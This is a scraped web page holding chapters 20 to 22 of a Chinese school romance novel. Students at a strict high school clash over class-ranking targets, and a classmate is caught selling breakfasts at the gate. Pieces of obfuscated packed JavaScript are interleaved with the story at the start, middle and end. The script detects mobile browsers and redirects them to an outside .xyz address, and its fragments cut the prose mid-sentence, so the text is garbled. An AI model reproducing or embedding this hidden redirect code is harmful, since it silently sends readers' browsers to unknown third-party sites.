0=7.0.6();b(/a|9|1|2|5|4|3|c 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不同批次的同学的任务不同,吴思会根据他们近期的小测情况和上次的成绩制定目标。 底层进步空间大,所以经常会拿到进步二十分的任务。 以此类推,中层多考十分,高层多考五分。 看似底层压力最大,实则金字塔尖的那一批人才是真的遭老罪了。 从办公室里出来回教室的路上,葛思宁和李函抱着作业本走在最后面,听前面的几位同学在抱怨。 葛思宁其实也很无语,但是她不会在人前说班主任坏话。 毕竟没有不透风的墙,而且说了也没用,又改变不了什么。 不过这次真的太恶心了,吴思居然要求他们每个人的年级排名再往前进一名。 如果做不到,考后的座位轮换,没达到目标的人将被调到后排。 后排可不是什么好位置,离黑板远、座位拥挤、对着后门冬天冷嗖嗖的,还会随时刷新各种老师。 最重要的是,他们优等生向来是各科老师的心尖尖,一直占据教室的黄金地段,每次调位都大差不差,从来没有过被“流放”的危机感。 如果一朝失蹄,得到的不仅仅是一个蛮荒般的位置,还有恍若弃子般的痛苦,以及同学们的怜悯。 绕是葛思宁见识过吴思许多不民主的手段,也还是对这所谓的激励机制感到厌恶。 她没忍住,难得主动和李函搭话。 “班长,你对这次的任务有什么看法?” 李函面无表情:“全力以赴。” 葛思宁在心里翻了个白眼。 回到班上,那几个刚才还在逼逼赖赖的同学已经开始奋笔勤书了。 走狗!都是吴思的走狗! 葛思宁一边发作业本一边破口大骂,怎么就没有一个人能指着吴思的鼻子骂她几句,或者去教育局举报她教学手段残忍呢? 她怨气连天,不小心撞到了同在发作业的李函。 葛思宁说了句对不起。 李函嗯了一声,没了。 “……” 正常人都会说没关系吧? 葛思宁更窝火了。 怎么全世界都在给她气受。 她偷偷瞪了几眼李函的背影,很窝囊地在发泄负能量。 其实李函和徐之舟的性格很像。 而且论工作配合、交接,葛思宁和李函的接触次数要比徐之舟多很多。 可不知道为什么,葛思宁不是很喜欢李函。 她总觉得,这个人像机器人。 不过和徐之舟那种刻板的人机感不一样。 李函给人的感觉是,他没有血肉。 所有的行为,都被写好了程序。 20.第 20 章 有了艰巨任务,葛思宁申请多上一节晚自习,和高三一起放学,每天晚上要十点半才下课。 葛天舒十分欣慰地说她终于醒悟了,终于舍得把全身心都投入到学习当中去,为此还奖励了她两百块钱。 葛思宁收了,不要白不要。 倒是王远意担心她这么晚放学会不会睡眠不足,每天晚上都要做宵夜给她吃,美其名曰吃饱了好睡觉。 葛思宁本来就抽不出时间去运动,这下更是给了脂肪生长的空间。 每天上学前她都要上一遍体重秤才安心,如果没重,那她会像平常一样去上学;但是如果胖了,她就会在心里把吴思揍一遍。 徐之舟从高一开始就上晚自习上到高三放学,他家住学校里,方便得很。 葛思宁和他聊天的时候表示自己很羡慕,她有点心疼她爸半夜还要来学校接她回家,但是她一个人骑车的话又不是很安全。 徐之舟表示:“我可以和你一起。” “啊?” “我父母在校外有房子,和你家一个方向。” “但你住教师宿舍不是住得挺好的吗?” 徐之舟摇头,“昨天刚发通知,要维护电路,暂时停水停电,我爸妈已经搬回去了。” 葛思宁一句“那太好了”都到嘴边了,又咽下去。 “那我回去和我爸说我晚上和同学一起回家。” “嗯。” “以后放学我在车棚等你?” 徐之舟沉默一秒,告诉她一个秘密:“年级主任每天都会到车棚蹲点,抓早恋的学生。” “……那我们?” “校门口见吧。” “OKOK,没问题。” 葛思宁哼着歌走了。 她馋校门口那条小吃街的垃圾食品好久了,每次王远意开车经过巷口,葛思宁都会咽口水,这下终于给她找到机会去大快朵颐。 隔天放学她就拐着徐之舟去了。 她兜里揣着葛天舒给的两百块,大方地说:“你想吃什么?我请!就当付你的‘保镖费’。” 来都来了,徐之舟也不墨迹,要了个大大的烤红薯。 葛思宁克制地买了个加培根的煎饼果子。 两个人把车停在街边,打算吃完再上路。 学校里的学生还没走完,此时正是放学高峰期,来来往往还挺热闹的。 葛思宁的嘴唇被煎饼冒起来的热气烫得发红,徐之舟话不多,她吃东西也没多的嘴可用,一双黑白分明的眼珠便在暗中观察路人。 这是她的小癖好,也是一个退役小说家的职业病。 看着看着,看到一个印象深刻的人。 葛思宁指给徐之舟看:“那不是你们班的吗?” “谁?” “我不知道他叫什么。就是之前转学过来的,你说他是中考状元来着。” 哦,陈安远。 徐之舟抬了下眼镜,看不太清。感觉自己度数应该是加深了。 他想起自己帮班主任做过陈安远的思想工作,是想说服他别转走读,会浪费很多学习时间。 结果陈安远当晚把他带进男生宿舍,让他听了半小时磨牙声。 回去以后徐之舟对班主任说:“我相信陈安远同学有自己的理由。” 葛思宁看他骑自行车骑得飞快,跟赶着去投胎似的,那么大的风也不怕头痛。 她边吃边找天聊:“我发现有的男生好耐寒啊。前几天我值日,在校门口抓到好几个迟到的。那么早那么冷,他们居然连羽绒服都不穿,就套个卫衣,跟铁打的一样。” 徐之舟看了下自己全副武装的装束,他骑车还会戴御寒的毛绒头套。 葛思宁:“你看刚才那个陈安远,很明显也是喜欢装逼的。” 徐之舟:“怎么说?” 葛思宁:“这还不明显?这么冷还穿这么少,不就是为了突出自己坚硬的体格、引起别人的注意吗?就跟夏天在操场上穿毛衣一样,故意搞特殊。不然你试试现在把羽绒服脱下来骑车,不得冻死!” 她有理有据,徐之舟无法反驳,默默吃红薯。 葛思宁又看到两个这样的人,不禁好奇:“你说这些人老了以后会不会有老寒腿啊?” 徐之舟:“不知道。” 葛思宁哼了一声,言之凿凿地说:“肯定会。” 有徐之舟和她一起放学,葛思宁路上还可以和他谈谈心,边吃东西边说同学老师的坏话,压力缓解不少。 她以为这样做是两全其美,省了王远意每天半夜出门的麻烦,但是爸爸还是经常等她回来了才睡觉。 葛思宁问他等这么晚都在干什么,王远意说要么看电视,要么喂喂鱼。 现在她宵夜也不回来吃了,王远意又少了一件事情做。 葛思宁想起回来的时候经过的公园,提议:“或许你喜欢不喜欢跟大爷下棋?” 王远意笑笑:“下两天就腻了。” 他实在没有什么特别上瘾的爱好,唯有的几个都不怎么需要耗费心力。 知道葛思宁在为他担心,王远意安慰道:“人不怕闲,就怕忙。我在家挺好的。” “哦。那我上去睡觉了?” “嗯。” 青春就是一波未平,一波又起,浪潮汹涌。 天气冷了,有的同学起不来,但是食堂去晚了就没什么可吃的了,所以他们开始求班里的走读生帮忙带早餐。 葛思宁以前也被拜托过,不过因为她铁面无私地拒绝了每一个人,并找到了一个完美理由——我家的早餐都是我家里人做的,我不用买,也没有多的——所以在没有先例的情况下,大家都知道她不方便,也就不会开这个口了。 其实主要原因还是她看着不好说话,而且也没见她平时帮过同学什么忙。 走读生本来就是稀缺资源,早餐名额更是千金难求,班上有几个没找到人脉的女生在宿舍里偷偷问过张月,说她和葛思宁隔壁桌这么久,能不能卖个人情? 张月不好拒绝,斗胆问了,结果毫无悬念地被葛思宁回绝了。 她这次给出的理由更是无懈可击:“学生会最近在检查走读生的书包,听说是有人在学校里做生意,卖包子豆浆,还帮忙充手机和充电宝。” 言下之意便是,我可不能顶风作案。 张月说:“那好吧。” 回头对后面偷听她们说话的女生们耸耸肩,意思是自己的面子也不好用。 葛思宁没撒谎,确有其事。 虽然她也只是听老师说过,自己还没抓到过,但是学校那边为了不打草惊蛇,暂时封锁了消息,以免“犯罪分子”潜逃。 然而这就导致了那群被拒绝的女生觉得葛思宁在故意推脱。 葛思宁一不明白张月为什么会和她开这个口,明明她自己没有这个需求;二不明白那群女生埋怨她的原因,她帮是情分,不帮是本分;三不明白小小一件事居然可以上升高度,近期班里的人在窃窃私语她冷血。 简直滑天下之大稽! 葛思宁内心大为光火,但是暂时没有时间也没有精力和任何人计较。她只希望在月考前任何人都不要来惹她,否则她将让此人尝到后悔的滋味。 越烦什么越来什么。 学生会这段时间频繁检查,干部们工作量剧增。教务主任下的命令是:确保没有一部手机、一份外面的早餐进入校园。 葛思宁本来一周只值日一次,现在因为这点破事变成了两次。 多一次听起来好像没什么,但是每次值日她都要比平时早起十五分钟,而且这还是冬天! 她本就长了一张看起来十分高傲的冷脸,加上这段时间睡又睡不够、学又学不爽,冷脸直接变成了黑脸。 天才刚刚擦亮,校门口就已经集聚了一群领导的心腹,葛思宁看他们耍官腔,态度恶劣地翻人书包,有时候冤枉了好人也不道歉,在心里大骂同事是走狗,但是轮到她自己的时候,她比谁都冷酷直接。 不过她礼貌一点,都是让同学自己拉开拉链。 一个早上下来没收了不少东西,正准备收队,偏又逮到一个迟到的。 此人极其明目张胆,竟然敢无视他们这些走狗,径直经过。 “你你你,对,就是你,过来!” 副会长指着那个骑着自行车飞进校门口的背影大喊。 对方停车回头了,但是没有过来,看表情似乎还有点迷惑。 副会长跑上前去:“同学。我们要检查一下你的书包。” 陈安远:“哦,凭什么?” “不凭什么,学校要求的。” “我怎么没听说?” “那你现在听说了。” 陈安远没有动的意思,更没有像之前的学生露怯、主动让人检查,这让副会长非常生气,认为他在挑战权威,于是搬出靠山:“你不配合的话,我们就上报到教务处了!你哪个班的?叫什么名字?” 葛思宁最看不惯他这幅样子,纸老虎,不得民心。她走上前,对陈安远说:“同学,我们就是例行检查,请你配合一下好吗?” 其实她是看在徐之舟的面子,在给他台阶下。 毕竟上报到学校就不好了,做不做处分另说,但肯定是 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陈安远捏着自行车车把手,毫无被抓的恐惧,还冷静地和他打商量:“同学,你也看到了,里面都是早餐,不是手机也不是违禁物品。不如你就当没看到,饶了我这一次?反正你没收了也没什么用。马上早读了,我们班的人都在等我回去投喂呢。” “……” 别说葛思宁,大伙儿还是第一次见这么理直气壮的人。 副会长瞠目结舌,难以置信他们学校还有这样巧言令色、不服管教的学生。 等索问出班级、姓名,他更震惊了——这他妈还是理重班的,徐之舟你看看你的兵! 铃声响了,他们还在这里僵持不下。 僵持的理由是陈安远攥着自己的书包不肯松手,一定要保下这些早餐,而副会长认为他态度和情节都十分恶劣,把老师摇来了。 葛思宁和副会长这两个“小领导”还有陈安远三个人被扣在办公室陈述经过,生生错过一个早读。 最后陈安远他们班的班主任来了,老头人还不错,从民生民情出发,认为陈安远帮同学带早餐这件事属于正义行为。 一番场面话说得主任眉毛倒竖,嘲讽道:“老白,你就不应该学理,应该去当文人,打辩论赛。” 老头:“嘿嘿。” 谈判结果是不追究学生违规责任,但是扣班级分五分,早餐没收,陈安远写一份一千字的检讨。 副会长咬牙说:“这也罚得太轻了。” 葛思宁看他就是想公报私仇,觉得人家对他不够尊敬,所以才那么较真。她没附和,但她觉得陈安远如果配合一点,态度好点,说不定就不用写检讨了。 她离开办公室的时候,看到门外围了一群男生,全是理重班的,看表情应该是来打探敌情的。 葛思宁特地留了几秒,果然,陈安远一出来他们就围上去了。 但是不是来问责的,而是一口一个兄弟,说你是真男人,这都没把我们供出来。 葛思宁听得想笑,英雄啊英雄。 包子英雄。 她想笑,就真的笑了,毫不收敛,被陈安远听到了。 他偏头看过来,目光笔直,不像这个年纪的男生,和异性对视的时候总是躲躲闪闪。 葛思宁也不示弱,看了回去,意思是:有事? 他什么也没说,在簇拥下离开,仿佛这道目光是对她笑声的回敬。 葛思宁莫名其妙。 晚上放学的时候她给徐之舟现场转播,振振有词:“你都不知道在办公室里我截了副会长多少话头,按他添油加醋的说法,搞不好是要被请家长的!” 一旦被请家长,就意味着停学,停几天另说,反正他们学校请家长过来不是做批评教育的,而是让他们把问题学生带回去的。 徐之舟点头,真情实感地感谢葛思宁:“我们班的男生今天一天都在说这件事,我知道你在场,所以不怎么担心。” 葛思宁:“你怎么就知道我会帮他呢?我和他都不认识呢!” 徐之舟想了想,说:“因为你善良。” 他从不撒谎。 葛思宁知道自己其实没有特别善良,徐之舟的说法不是事实,是他的主观观念。 但她还是很受用,有种没有和学生会那群走狗同流合污的自豪感。 不过分开的时候,徐之舟却告诉她:“其实陈安远不是帮他们带早餐,而是卖早餐。” 他认为勤工俭学没问题,本来就是班上同学有这个需求,才会有市场。 但是落到葛思宁耳朵里,她却不那么认为了。 她觉得自己狼狈为奸! 21.第 21 章 十七岁的葛思宁正义感依旧。 她不会冤枉一个好人,但是也不想偏袒任何一个坏人。 而且他带那么多早餐,万一有人吃坏肚子了怎么办? 学校的规定虽然变.态,但是也不无道理。 葛思宁为此生了两天气,她庆幸这两天没再抓到陈安远这个奸商,否则她一定要替天行道,将这只不识吕洞宾的狗给抓起来。 因为这件事,她算是彻底记住这个人了。 再回想起此人那天看她的眼神,葛思宁甚至解读出几分厌恶和警告来。 原来如此! 她还以为他想谢她,但不好意思说呢。 自作多情的葛思宁决心再也不插手一个人的因果。 就让顶风作案的人都自生自灭吧! 语文课上,吴思抽她起来回答问题。 葛思宁不是第一个,前面好几个人都没答上来。 她知道吴思点她的意义,她是语文老师最后的希望。 葛思宁非常淡定地给出了完美答案,简直可以媲美教科书,再加上她若无其事的表情,更是显得她天赋出众、毫不费力。 吴思难得露出满意的表情,对她说:“坐下吧。” 葛思宁便坐下了,没人知道,出了风头的乖乖女心里充斥的并不是骄傲,而是厌烦。 只要一想到吴思还要陪她走完剩下的高中时光,葛思宁就觉得未来毫无盼头。 一直到月考前,她都还做着吴思下台或是被调任的梦。 葛思宁其实问过自己,为什么她那么希望班主任可以被打倒,自己却不去做这个‘英雄’呢? 她一直寄希望在别人身上,希望有那么一个无私无畏的能人从天而降,将全班乃至以后学弟学妹们的青春解救于水火,却从来没有想过,自己去做这只出头鸟。 这时候她就会想起葛天舒在家里说的那些关于公司的八卦。 比如,越是抱怨的人其实服从性越强。真正不想干了的人,早就掀桌子了。 葛思宁很不幸地发现自己是前者。 ——原谅她暂且没有对抗权威的勇气,但她愿意成为这个英雄的拥趸,她愿意为其效犬马之劳,只要这个人能出现。 徐之舟说她还不如祈祷地球爆炸,这还现实点。 葛思宁叹气:“是啊。毕竟我和我妈吵得最厉害的时候想过去死都没想过辍学。” 他们生长的模式注定了一种结果,即每个人会逐渐趋同。 同样痛苦,同样懦弱。 日子就这样了无生趣地过着,直到迎来月考。为时两天,兴师动众。各科老师改卷的速度比刘翔还快,上午考完下午就出选择题答案,第二天就找课代表去登分了。 每到这时,平时人缘再差的班干部都会变得炙手可热,前脚从办公室回来,后脚就会被围起来。 甚至上课了,还会有人写纸条来问,有没有看到我多少分? 扯头花是文重班的定期节目,每次考完试班上总会有那么一两个心理承受能力弱的“战败方”请假。葛思宁负责收假条,还会研究他们都写了什么原因,居然能说服吴思。 考完第三天,成绩基本出完了,开始进行年级排名。 这才是最紧张却最要沉住气的时刻。 葛思宁考前上晚自习上得身心俱疲,回到家躺床上了做梦都在背历史时间线,她一边唾弃自己的服从性一边假装风轻云淡,以至于李函告诉她,她这次任务“达标”了以后,她一下没绷住,下楼梯的时候差点一脚踏空。 电光火石之间葛思宁抓住了旁边的楼梯扶手,她余惊微消,故作镇定地捋了下头发,问刚才根本没有一点想要扶她的李函:“真的假的?” “真的。” 说完他就走了。 她回忆着李函刚才的眼睛,对她的窘态没有一点嘲笑的意思,但也完全不惊讶、担忧。好像无论葛思宁有没有摔倒,都不关他的事。 葛思宁看着他的背影,没忍住唾弃,心想真应该让班里的人看看,这才叫冷血呢。 拿到成绩单的那天晚上葛思宁得意洋洋地回家,还没进门葛天舒就已经把“妈妈专属奖学金”放到桌子上,等她来领取了——每次月考学校都会发短信通知成绩,葛天舒往往比葛思宁知道得还要早。 葛思宁拆开信封一看,笑得合不拢嘴,恨不得冲上去亲葛天舒两口,被葛天舒嫌弃地推开:“行了,都十七岁了怎么还这么恶心。” 刚过完不久的生日再加上学习进步,让葛思宁收获了一笔不小的存款。 她一边数钱一边思考该拿这笔钱干什么,然而想到的第一件事就是,请江译白喝咖啡。 葛思宁在床上扭了半天才给他发微信。 [宁]:上次是你请我,这次我请你,很正常吧。 [100]:嗯,很正常。 [100]:不过我最近有点忙。 葛思宁的心像失控电梯一样哐当一下砸到底下去了。 不过她刚打出“好吧”两个字,江译白就又说:等我有空了,第一时间联系你。 看着这个“第一时间”,葛思宁放任自己误解她是被特殊对待的,心情立马回春。 有钱有周末却没事做,葛思宁睡到大中午,竟然开始有点怀念葛朝越了。 但她是绝对不会主动给葛朝越发微信的。 因为这个人错过了自己的生日,甚至忘了送生日礼物。 这件事情的性质非常严重,王远意当着葛思宁的面打电话批评他,结果葛朝越在电话那头欲哭无泪,说自己也不知道会临时出差。 他现在正在遭受社会的毒打,别说生日了,有时候连饭都不记得吃。 葛天舒难得没有帮他说话,还嘲讽葛朝越自讨苦吃,“如果当初听我的话、按我说的去做,现在还用在外面看人脸色吗?” “妈……” “不用和我说那么多。你自己想想要怎么和你妹妹解释吧。” 葛思宁当然是怒不可遏,这愤怒和当初葛朝越出门上大学十天半个月都不回家时的愤怒一样,都夹杂着浓浓的伤心和失望。 这是她出生到现在第一次过生日没有亲哥陪,连陈锐都知道给她发凌晨祝福、寄生日礼物,葛朝越怎么就忘了呢?! 而且事后他居然就直接甩了一笔转账和一句生日快乐过来,其他什么都没有。 葛思宁还幻想过他求和,她不知道人原来真的可以忙到没时间打字,她只感觉到葛朝越非常敷衍。 所以她既没收钱,也没回复。 葛思宁单方面开启了冷战,誓不罢休。 无聊的周末即将无所事事地过去,葛思宁用塔罗牌算到她这周会有桃花运,但是这周都快结束了,她就没见过除了她爸以外的男人。 然而周日下午,她收到了徐之舟的微信。 X:[我有空了。] 宁:[?] 葛思宁完全不记得自己和他有过约。 X:[电影。] 哦哦哦! 葛思宁一拍脑门,记起来了。 连同那段尴尬的记忆一起,令她殷切又愧疚,询问徐之舟看什么、在哪里见、几点出门。 徐之舟按点答题,两个高效率人很快碰上面。 离电影开场还有二十分钟,葛思宁问他要喝什么奶茶。 “我都可以。” “那我给你点一杯和我一样的?糖度有要求吗?” “三分糖。” “okok。” 徐之舟不怎么喝奶茶,所以交给葛思宁安排。 在旁边等她的时候,他环顾四周,余光扫到一个熟悉的人。 是江译白。 对方已经准备进场了,他一边接电话一边把票递给工作人员,但好像是出了什么状况,工作人员说了什么,把票递回给他。 而江译白在接的电话显然很重要,令他脱不开身,于是站他前面的女生回头,帮他处理了。 他说了句谢谢。 到这里徐之舟还以为是女生好心,直到对方碰了下江译白的手臂,带他往里面走,徐之舟才反应过来,他们是认识的。 这对男女消失在入口处,葛思宁刚好提着奶茶过来,看他目光专注,问了句:“怎么了?” 徐之舟很老实:“看到你朋友了。” “我朋友?” 葛思宁想不到有谁,唯一一个感情犹存的正站在自己面前呢。 她转头瞥到十步开外的哈哈镜,还以为徐之舟在说自己,于是很配合地笑了两声:“走吧走吧,我们进去吧。” 见她反应冷淡,徐之舟以为她早就知道了,于是也没多嘴:“嗯。” 他接过自己的那一杯。 看完电影,他把奶茶钱a给葛思宁。 葛思宁都无语了:“我不要啊。不是都说了请你吗?” “之前说的是请看电影。” “那电影都请了,奶茶值多少钱?” “不是价值问题,是原则问题。” “……” 葛思宁突然想起一句话。 她变了脸色:“在你眼里看来,我是一个连请朋友喝奶茶的钱都没有的穷鬼吗?” 说出口的那个瞬间,葛思宁顿时理解江译白了。看到徐之舟表情开裂的样子还挺爽的。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16307563|182139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 徐之舟:“我知道你家很有钱。” 葛思宁:“……” 最后她还是揣着十五块的纸币回家,心想她下次也用这招对付江译白。 这次fine,下次mine。 - 江译白参加完团建回到家,陈安远还在外面打球,他发微信让他回来吃饭,陈安远回了个1。 少年大汗淋漓地进门,就穿了一件长袖,江译白看得牙疼,一边把外卖摆盘一边问他:“怎么不干脆脱光了去打呢?穿了衣服还要洗,多麻烦。” 陈安远:“……” 吃饭的时候江译白问他,“怎么最近转你生活费你都不要,又去哪里打工了?” 走读的时间比住宿充裕,江译白经常加班,有时候直接睡在公司里,所以不是很清楚陈安远每天都在干什么。 “没有。” “那你哪来的钱?” “存的。” 江译白看了他一眼,“京都的消费不比小镇,你之前兼职那点钱能活到现在?阿远,你不会干了什么不能干的事情吧。” 陈安远听他说到哪里去了,头痛:“真没有。我就是帮同学带早餐,赚点跑腿费。” “老师不管?” “……管。” 江译白在桌底踹他:“被请家长别给我打电话。” 陈安远傻傻地问:“那我打给谁?” 江译白吃饱了:“呵呵。” 他没明说,那肯定是让他打给他妈或者老江。偏这两个人一个不要陈安远,一个不管陈安远,陈安远都不想也不敢联系。 所以晚上睡觉前他去敲江译白的房门,说了句:“……知道了。” 江译白电脑屏幕亮着,背对着他挥挥手,意思是滚蛋。 陈安远以为他生气了,没走,踌躇半晌,解释:“我真没被抓过,就那么一次。” “嗯,一次还不够是吧?” “……” 他被怼得脾气上来了,“我不想再花你的钱。” 本来房租水电就一直是江译白在交,他还没毕业,实习工资就那么点,覆盖掉日常支出几乎所剩无几,所以不得不通宵达旦地接私活。 陈安远虽然信任他,但是不想依赖他,更不想麻烦他。 江译白懒得理他,直接说:“你花得少吗,差这两年吗?” 陈安远张嘴说不出一个字,靠在门边不走。 江译白身心俱疲,捏了捏眉心,实话告诉他:“你们班主任已经和我聊过了。” 陈安远脸色一黑,顿时想到那群乌合之众。 尤其是葛思宁,伪善得很。 其实一开始他对没有具体接触过的葛思宁是有着良好印象的,认为她和葛朝越一样,善良大方又平易近人。 但葛朝越却告诉他,不是。 他这个妹妹和他一点也不像,性格更是相去十万八千里。 葛朝越的原话是:“没有一点可取之处。” 除此之外,葛朝越还跟陈安远说了很多江译白给葛思宁当家教时的“心酸”过往,将江译白活生生说成一个被千金大小姐虐待的长工。 陈安远不知道葛朝越说这些话纯粹是因为嘴贱,也不知道葛朝越想得太远了——他认为陈安远作为葛思宁的同龄人,又是男生,再加上江译白的关系,两个人有着巨大的早恋可能性。 因此阴差阳错的,陈安远对这个只有一面之缘的葛思宁彻底改观了。 那天早上如果不是她一直在插嘴,那个马屁精副会长和教务主任或许也不会那么生气。 想到这里,陈安远又想起葛思宁的那声笑。 她站在那里不走,不就是想看自己笑话吗? 陈安远越想越窝火,偏这时江译白见他走神,挥了挥手把他的思绪拉了回来。 看着江译白,陈安远想起葛朝越的陈述,脑海里的葛思宁顿时变成了一只会喷火的霸王龙。 “发什么呆?” “……没什么。” 陈安远在犹豫,要不要告诉江译白,自己是被葛思宁抓的。 但是转念一想,有什么必要告诉江译白呢? 难道自己是希望江译白去求葛思宁给他开后门,在学校里罩一下他吗? 那还真成了她大小姐的奴隶了。 陈安远倒吸一口凉气。 江译白说:“别给我惹事。这种才叫麻烦,懂吗?” “……懂。” “去睡吧。” 小孩欲言又止,最后乖乖走了。 没过多久手机亮了一下,是陈安远的信息。 江译白抽空看了眼,是让他别通宵。 22.第 22 章 漫漫长夜。 江译白再次看时间,才发现已经这么晚了。 他伸了个懒腰,骨头在响。 定了个半小时的闹钟,闭上眼。 他今天回了趟学校。 本来是去找指导老师,结果离开的时候碰到了之前的朋友。他们刚好团建,死活要把江译白加上。江译白想到毕业之后大概率不会再联系了,就答应了。 看电影之前他们在楼下的咖啡店里聊天。 有人问江译白最近在忙什么,又问怎么好久没看到葛朝越发动态了。 江译白简略地答了几句,不想透露太多。 对方语气轻浮:“其实他不上班也可以啊,他家又不缺钱。那句话怎么说来着,富二代不创业就是回报父母了。” 江译白不置可否。 对方喋喋不休,点评完葛朝越身在福中不知福,转头又指点上江译白。 在得知江译白几乎每天都在加班的情况下,他表情暧昧地给江译白建议:“你有没有想过入赘啊?之前我们隔壁班的那个谁,不是就挺喜欢你的吗?” “她家特别有钱,家住大平层,开帕拉梅拉。我前几天看她朋友圈,人压根不用操心论文和实习,直接飞去夏威夷过冬了。” 面对这种优越感十足的指点,江译白只不咸不淡地说了句:“是吗。” 他不关心别人的生活,也不需要别人关心他的生活。 至于朋友口中的这个女生,还有对方所谓的喜欢,江译白都没有印象。 看他反应冷淡,朋友更起劲了,好像撮合了成功有他什么好处一样。喝了口水润喉咙,正准备继续游说,就被一道女声打断。 邱禾端着杯子坐过来,“你们在聊什么?隔了好远都能听到声音,也说给我听听呗。” 那人顿时收敛了刚才的兴致勃勃,脸上挂上暧昧:“得。正牌女友来了,我不说了。” 江译白看了他一眼,语气略带警告:“你别瞎说。” 邱禾却没反驳,佯怒道:“好啊,是不是在说什么上不得台面的事情?我不能听?” “你让江译白跟你说。” 他溜得比鬼还快,转眼这个角落就剩他们一男一女在这里坐着。 习惯了对方总是满嘴跑火车地造谣,江译白没把那句“正牌女友”放在心上。 但考虑到邱禾作为女生的感受,江译白还是出于礼貌和她道歉:“那些话都是他乱说的,你别放在心上。” 邱禾装傻:“什么话?我什么也没听到。” “说你是我女朋友这些话。” “哦。没事。”邱禾看起来不甚在意,跳过话题,“所以,你们刚才在聊什么?” 江译白懒得重复,群里有人发信息说已经买好票了,于是他说:“没什么。电影要开场了,我们走吧。” 邱禾说好,跟在他身后。 出电梯的时候好友从后面拉住邱禾。 “喏,江译白旁边的票。我特地给你留的位置,你自己把握好机会啊。” 邱禾大喜过望,“谢谢。” 好友却放不下心:“马上毕业了,你们以后见面的机会只会越来越少。如果今天这么好的机会你都把握不住,这四年不就打水漂了?勇敢点,趁这次把关系确认下来。” 邱禾看着走在人群最后面的江译白,眼神迷恋。 “我会看着办的。再说了,他喜不喜欢我还不一定呢。” “不喜欢你会默认别人说你是他的正牌女友?” 邱禾不语。 其实江译白每次只要听到就会否认。 只是她每次都蒙混过关,还故意害羞,让人误以为是不好意思。 她并不觉得这样做很可耻,她只不过是在给自己制造舆论环境。 想要得到一个人,总要下点苦功,不是么? 好友拍拍她的肩膀,“那我先进去了,你争点气!” 邱禾点头:“知道了。” 江译白在接电话,前面的人都已经进场了,邱禾走过去,催他:“还有五分钟哦,抓紧时间。” “嗯,你先走吧。” 邱禾怕他先走了,于是说:“没事,我等你。” 江译白想说不用,但是碍于在通话,就没说。 听电话那头的话茬差不多要结束了,江译白一边应和,一边把票给工作人员。 他不想因为自己的原因耽误邱禾,虽然他也不知道这姑娘干嘛非得等他。 结果不知道哪里出了问题,票被退回来了。 江译白捏着票,心思全在电话里,邱禾主动伸手:“我帮你弄。” 他给了。 电话里领导说:“那先这样,周末愉快。另外上周加的班这周可以调休。” 江译白说谢谢。 他在等领导先挂电话,所以还举着手机。 邱禾这时抬手碰了下他的手臂,他慢了半拍才躲过。 邱禾的脸上闪过一丝尴尬,“走吧。” 江译白收好手机:“嗯。” 电影不是很好看,江译白在里面补了一觉。 他们提议一起去吃晚饭,江译白婉拒了。 他和他们的情分已经不值得他继续浪费时间维护,一个下午足够了。 他刚上公交,邱禾就给他发信息:“你不来啊?” “嗯。” “是要去约会?” 难以理解的脑回路。 江译白说不是。 他不知道邱禾隔着手机松了口气。 邱禾:“那好吧。下次再聚。” 邱禾:“你毕业以后应该会留在京都吧?” 江译白随手回了个嗯,多一个字都懒得打。 他切换对话框问陈安远几点回来,下了车去他们常吃的饭店打包了两个菜。 邱禾后来又说了什么,江译白都没看,他吃饱饭就开始工作,然后一直忙到现在。 闹钟没能叫醒他,江译白醒的时候天已经亮了。 他身上披了张毯子,电脑和灯都被关掉了。 江译白走到客厅,餐桌上放着还温着的包子。 掰开,叉烧馅的。 吃完早餐,他又想喝点咖啡,结果没找到咖啡豆,连速溶冲剂都被藏起来了。 不用想也知道是陈安远的手笔,他还在冰箱上面贴了张便利贴:锅里有豆浆。 江译白只好端着碗在阳台上喝豆浆。 清晨的空气凛然且清新,在雪化掉的早上,路边满是卖早餐的小贩和行色匆匆的路人,有学生也有上班族,每个人都在赶时间,和命运比赛谁先找到自己的前途。 江译白凝神观察了一会儿这幅热闹的街景,拍了张照片发给葛朝越。 好友现在正在比京都冷十倍的地方进行考察,历尽千辛追逐一个不被家人看好的梦想,还因此错过了宝贝妹妹的生日,被冷暴力到现在。 他们这段时间联系不多,各忙各的,回消息都是十二个小时起步。 江译白给他发照片的时候才看到他上周的微信,葛朝越直呼:sos。 “你有空能不能帮我去哄哄我妹?她生日你给她送礼物了吧?再买一份,就说是我送的。求你了哥们,不然我下个月回去肯定要被她砍死。” 江译白现在才回了个收到。 葛朝越难得在线,直接一个电话打过来,声音一如既往地聒噪:“你他妈怎么现在才回!葛思宁都把我给拉黑了!” 江译白轻描淡写地说:“我忙啊。我现在每天就睡四个小时。” 那边顿时偃旗息鼓。 “……我也差不多。” 葛朝越应该是在外面,隔着电话都能听见大风呼啦啦的声音。 两个人聊起近期的生活,说来说去都是在说工作,偶尔提到学校,也都是论文和学分认定的事。 葛朝越呸了一声,“你说我们两以前在学校里何等风光,每天除了学习就是吃喝玩乐,翘课都没被抓过几次,现在才实习多久,怎么就累成这样了?” 江译白十几岁就在打工了,早就习惯了,所以接受度良好:“正常。” 葛朝越说到风光和目光,江译白倒是想起昨天的聚会。 他把那些建议和评价当成笑话说给葛朝越听,他反应很大,在电话里直骂脏话。 “他妈的他xxx算个什么东西,居然还评价上我了?我现在赚的每一分钱都是劳动所得,和他们那些只会啃老的蛀虫可不一样!” 江译白说:“是是是。” “他还有脸给你介绍富婆?真这么好,他早就上门脱裤子了!” 江译白被豆浆呛到了,直咳嗽。 他肩膀抖了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 